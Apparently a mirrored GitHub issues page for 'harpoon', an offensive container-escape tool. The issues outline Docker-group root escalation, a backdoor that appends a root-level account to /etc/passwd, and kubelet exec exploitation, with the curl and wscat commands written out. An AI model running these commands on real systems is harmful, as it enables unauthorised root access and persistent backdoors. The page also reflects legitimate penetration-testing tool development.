Coder Social home page Coder Social logo

harpoon's People

Contributors

corysabol avatar digital-shokunin avatar elreydetoda avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

harpoon's Issues

Add Auto Priv Escalation to Harpoon

If it turns out that you are a part of the docker group, escalate to root with the following:

docker run -it --rm -v $PWD:/mnt bash

We can also backdoor the machine after this with;

echo 'toor:$1$.PWORDHASH:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

Just another reason why Docker bind mounts can be dangerous >:)

Add Pod Deployment Subcommand

Add a subcommand that will attempt to deploy a pod. It should offer the following options:

  • -deploy
    • if ran without other flags default values will be used
  • -img
  • -cmd [cmd array]
  • -bind [path]
  • -name

Add check for kublet exec capabilities

harpoon kube-exec -h https://<node-ip | node-domain> [-p 10250] [-e command]

If -e is given then if the preliminary checks pass, harpoon will try to exploit the mis-configuration. This attack only works if you can route to the node api. So, you either have to be on the same network, or it happens to be publicly routable.

Check (verify/come up with a better check)

[[ '${curl --insecure "https://<node>:10250/pods" 2>1 | head -c 2}' != '{"' ]] && echo Match

Execute command

curl --insecure -v -H "Upgrade: WebSocket" -H "Connection: Upgrade" -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://<node>:10250/exec/default/redis-master-57fc67768d-klfw6/master?command=echo&command=hi&input=1&output=1&tty=1"

Stream results

wscat -c "https://<node>:10250/exec/default/redis-master-57fc67768d-klfw6/master?command=echo&command=hi&input=1&output=1&tty=1" --no-check

lxd checks

These are actually pretty similar to the docker checks

Can check for lxd socket. Is it mounted in a lxd container?
/var/lib/lxd/unix.socket

Can we check proc cgroups?

Redesign fingerprint subcommand

Give the fingerprint command the following interface.

harpoon fingerprint -[adklD]
    -a        run all checks (default)
    -d        run only docker checks
    -k        run only kubernetes checks
    -l        run only lxc checks
    -D        attempt to discover container tech in place

Project direction

Many of the commands expect the -sock and -cid flags. However as I start generalizing the tool to work on other container setups, this might not be as viable. It's possible that I either break them out into separate tools. One for Docker, one for LXC, one for Kubernetes, etc... Or I implement several modules into the program, and allow them to be loaded and unloaded via command line args.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.